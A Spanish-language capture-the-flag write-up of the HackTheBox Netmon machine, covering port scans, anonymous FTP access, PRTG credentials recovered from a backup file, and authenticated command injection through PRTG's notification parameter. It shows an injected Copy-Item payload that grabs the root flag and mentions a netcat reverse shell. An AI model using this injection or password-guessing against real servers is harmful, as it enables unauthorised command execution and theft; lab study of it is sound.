Table of contents
En esta ocasión vamos a resolver una máquina Windows de nivel Easy de la plataforma HackTheBox en la que obtendremos la flag user de manera muy sencilla y aprovecharemos una vulnerabilidad del servidor web para obtener la flag root sin necesidad de escalar privilegios ni acceder al sistema.
Reconocimiento
Reconocimiento de Puertos
Realizamos el primer escaneo de puertos simple.
PORT STATE SERVICE
21/tcp open ftp
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
5985/tcp open wsman
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49668/tcp open unknown
49669/tcp open unknown
Copiamos todos los puertos a través de la funcion extractPorts de S4vitar.
File: extractPorts.tmp
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
[*] Extracting information...
[*] IP Address: 10.10.10.152
[*] Open ports: 21,80,135,139,445,5985,47001,49664,49665,49666,49667,49668,49669
[*] Ports copied to clipboard
Como siempre os dejo una captura de pantalla con la función que debéis añadir al archivo de configuración de vuestra shell.
A continuación realizo un escaneo más detallado de servicios y versiones y como siempre sacaremos la información más relevante.
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-syst:
|_ SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 02-03-19 12:18AM 1024 .rnd
| 02-25-19 10:15PM <DIR> inetpub
| 07-16-16 09:18AM <DIR> PerfLogs
| 02-25-19 10:56PM <DIR> Program Files
| 02-03-19 12:28AM <DIR> Program Files (x86)
| 02-03-19 08:08AM <DIR> Users
|_02-25-19 11:49PM <DIR> Windows
80/tcp open http Indy httpd 18.1.37.13946 (Paessler PRTG bandwidth monitor)
|_http-trane-info: Problem with XML parsing of /evox/about
|_http-server-header: PRTG/18.1.37.13946
| http-title: Welcome | PRTG Network Monitor (NETMON)
|_Requested resource was /index.htm
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2022-09-13T10:10:22
|_ start_date: 2022-09-13T10:00:25
|_clock-skew: mean: -2s, deviation: 0s, median: -3s
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
Extraigo la información relevante:
Puerto | Servicio | Versión |
21 | FTP | Microsoft ftpd |
80 | HTTP | Indy httpd 18.1.37.13946 |
445 | Microsoft ds | Microsoft Windows Server 2008 R2 |
47001 | HTTP | Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |
- Tenemos acceso anónimo al servidor FTP.
FTP
❯ ftp 10.10.10.152
Connected to 10.10.10.152.
220 Microsoft FTP Service
Name (10.10.10.152:elc4br4): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
200 PORT command successful.
125 Data connection already open; Transfer starting.
02-03-19 12:18AM 1024 .rnd
02-25-19 10:15PM <DIR> inetpub
07-16-16 09:18AM <DIR> PerfLogs
02-25-19 10:56PM <DIR> Program Files
02-03-19 12:28AM <DIR> Program Files (x86)
02-03-19 08:08AM <DIR> Users
02-25-19 11:49PM <DIR> Windows
226 Transfer complete.
ftp> cd Users
250 CWD command successful.
-----------------------------------------------------
-----------------------------------------------------
ftp> ls
200 PORT command successful.
c125 Data connection already open; Transfer starting.
02-25-19 11:44PM <DIR> Administrator
02-03-19 12:35AM <DIR> Public
226 Transfer complete.
ftp> cd Public
250 CWD command successful.
-----------------------------------------------------
-----------------------------------------------------
ftp> ls
200 PORT command successful.
125 Data connection already open; Transfer starting.
02-03-19 08:05AM <DIR> Documents
07-16-16 09:18AM <DIR> Downloads
07-16-16 09:18AM <DIR> Music
07-16-16 09:18AM <DIR> Pictures
09-13-22 06:01AM 34 user.txt
07-16-16 09:18AM <DIR> Videos
226 Transfer complete.
-----------------------------------------------------
-----------------------------------------------------
ftp> get user.txt
local: user.txt remote: user.txt
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
34 bytes received in 0.27 secs (0.1213 kB/s)
He podido obtener el archivo user.txt... mmm algo fácil no? Eso me quiere decir que obtener el root va a ser un proceso largo y complejo.
Explotación
Ahora toca obtener el root.txt
De primeras me dispongo a observar los servidores web.
Hay un servidor web bajo el título de PRTG Network Monitor (NETMON).
El servidor muestra un login pero no disponemos de credenciales.
Antes de nada abro el servidor FTP de nuevo en busca de la ruta donde se ubica el propio servidor.
Encuentro la ruta del servidor web y me dispongo a buscar archivos con credenciales o datos que puedan ayudarme a continuar.
Hay varios con extensión .dat y .old que descargo a mi máquina local para analizar.
Encuentro unas credenciales en el archivo "PRTG Configuration.old.bak"
Podríamos usar las credenciales para loguearnos en el servidor web.
Pero no hubo suerte.
Pero si nos fijamos, el usuario coincide con el nombre del panel... Deberían ser las credenciales correctas...
Recordemos que el archivo de donde hemos extraido las credenciales posee la extensión .old.bak
La extensión .bak proviene de Backup, por lo tanto es una copia del archivo original "PRTG Configuration.old" y si nos fijamos la contraseña acaba en 2018, ¿y si probamos a cambiarla por 2019 o 2020?
Una vez dentro me dispongo a buscar la versión del servicio PRTG --> PRTG Version "PRTG Network Monitor 18.1.37.13946"
Asique ya que tenemos credenciales busco alguna vulnerabilidad para explotar.
❯ searchsploit PRTG
--------------------------------------------------------
Exploit Title |
--------------------------------------------------------
PRTG Network Monitor 18.2.38 - (Authenticated) Remote C |
PRTG Network Monitor 20.4.63.1412 - 'maps' Stored XSS |
PRTG Network Monitor < 18.1.39.1648 - Stack Overflow (D |
PRTG Traffic Grapher 6.2.1 - 'url' Cross-Site Scripting |
--------------------------------------------------------
Tenemos varios, utilicé uno de ellos pero me daba errores así que encontré un post donde explicaba como hacerlo de forma manual.
https://codewatch.org/blog/?p=453
Seguimos estos pasos:
1. Nos dirigimos al panel y vamos a Account > Notificaciones > Añadimos una nueva notificación.
2. Nos desplazamos hacia abajo y hacemos click en la opción Execute Program y en Program File seleccionamos la opción con extensión .bat
3. En el parámetro escribiremos lo siguiente:
elc4br4.txt; Copy-Item 'C:\Users\Administrator\Desktop\root.txt' -Destination 'C:\Users\Public\elc4br4.txt' -Recurse
Ahora accedemos al servidor ftp y podremos leer la flag root.
En este caso hemos podido obtener la bandera sin acceder al sistema ni escalar privilegios, pero sería posible hacerlo subiendo el archivo ncx64.exe (netcat) al ftp y ejecutando una conexión inversa a través del mismo desde el panel web como hemos hecho para leer el archivo root.